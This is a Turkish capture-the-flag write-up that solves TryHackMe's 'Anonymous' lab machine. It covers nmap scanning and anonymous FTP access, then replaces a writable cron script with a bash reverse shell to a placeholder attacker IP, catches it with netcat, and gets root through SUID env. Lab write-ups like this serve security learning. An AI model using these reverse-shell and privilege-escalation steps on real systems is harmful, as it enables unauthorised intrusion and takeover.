Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Anonymous” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.
> nmap -sS -sV 10.10.229.39
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 15:40 +03
Nmap scan report for 10.10.229.39
Host is up (0.063s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.99 seconds
2 — Nmap aracını kullanarak Anonymous FTP testi yapıyorum. FTP servisine anonymous:anonymous bilgileri ile giriş yapılabildiğini görüyorum.
> nmap --script ftp-anon -p 21 10.10.229.39
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 15:42 +03
Nmap scan report for 10.10.229.39
Host is up (0.13s latency).
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts [NSE: writeable]
Nmap done: 1 IP address (1 host up) scanned in 1.44 seconds
3 — FTP servisi içerisindeki dosyaları indiriyorum.
> ftp 10.10.229.39
*
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||41705|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh
-rw-rw-r-- 1 1000 1000 1075 Jun 05 12:43 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
226 Directory send OK.
ftp> mget *
4 — clean.sh dosyasının içeriğini incelediğimde bu scriptin düzenli olarak çalıştırıldığını ve çalışma sonuçlarının da ftp sunucusuna yüklendiğini anlıyorum. Ben de bu dosyasının içerisine bir reverse shell yükleyip tekrar ftp sunucusuna yükleyerek bir shell elde etmeye çalışacağım.
> cat > clean.sh << EOF
#!/bin/bash
bash -i >& /dev/tcp/XX.XX.XX.XX/4444 0>&1
5 — Düzenlediğim dosyayı tekrar ftp servisine yüklüyorum.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||24385|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh
-rw-rw-r-- 1 1000 1000 1290 Jun 05 12:48 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
226 Directory send OK.
ftp> put clean.sh
6 — user.txt dosyasını okuyarak ilk bayrağımı elde ediyorum.
> nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.229.39 54050
bash: cannot set terminal process group (1281): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
cat user.txt
***CENSORED***
7 — Sudo yetkilerine sahip ve SUID biti ayarlanmış dosyaları bulmaya çalışıyorum.
namelessone@anonymous:~$ find / -perm -u=s -type f 2>/dev/null
*
/usr/bin/env
*
8 — GTFObins sitesinden “env” komutu için sudo kullanıcısına geçmeye yarayan komutu buluyorum. Sudo kullanıcısına geçtikten sonra ikinci bayrağı da elde ederek odayı tamamlıyorum.
namelessone@anonymous:~$ env /bin/sh -p
env /bin/sh -p
whoami
root
cat /root/root.txt
***CENSORED***